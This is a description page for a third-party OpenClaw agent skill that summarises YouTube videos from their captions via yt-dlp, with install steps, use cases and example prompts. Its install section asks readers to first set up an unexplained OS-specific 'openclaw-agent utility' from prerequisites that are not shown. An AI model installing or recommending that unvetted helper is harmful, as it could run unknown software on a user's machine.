youtube-summarize

What This Skill Does

The youtube-summarize skill is a sophisticated toolkit for OpenClaw agents designed to ingest, process, and distill YouTube video content into actionable intelligence. Instead of manually watching lengthy videos, this skill leverages yt-dlp and custom stream processing to extract closed captions, auto-generated subtitles, and rich metadata. It transforms spoken audio into clean, structured text, allowing the AI to generate summaries, identify core arguments, and perform deep-dive analysis on video content. It acts as a bridge between raw media and text-based understanding, essential for research, content creation, and technical learning.

Installation

To integrate this skill, ensure you have the openclaw-agent utility installed according to your operating system (Windows or macOS) as specified in the prerequisites. Once the helper utility is active, install the necessary dependencies via your shell: pip install yt-dlp. Finally, add the skill to your agent environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-z7kli. Verify that you have Python 3 installed as it is required for the text processing scripts bundled with the skill.

Use Cases

• Research & Learning: Quickly extract key takeaways from educational tutorials, webinars, or long-form lectures without watching the entire video.
• Content Repurposing: Convert existing video content into blog posts, social media updates, or newsletter summaries.
• Market Analysis: Analyze competitor marketing videos or product launches to extract features and claims without manual note-taking.
• Accessibility: Generate full-text logs of meetings or presentations shared via video links.

Example Prompts

1. "Summarize this YouTube video: [URL]. Focus specifically on the technical requirements mentioned in the first 10 minutes."
2. "Extract all the key actionable tips from this video [URL] and format them into a numbered list."
3. "Analyze the tone and primary argument of the speaker in this video [URL]. Does it conflict with standard industry best practices?"

Tips & Limitations

• Quality Dependence: The summarization quality is directly dependent on the accuracy of the YouTube transcript. Videos with poor audio or lack of captions may yield limited results.
• Performance: Very long videos may result in large text files; consider asking the agent to summarize specific chapters if the video is extremely long to optimize context window usage.
• Language: While this skill defaults to English, ensure the sub-lang parameters in your command configuration match the target video's language for accurate output.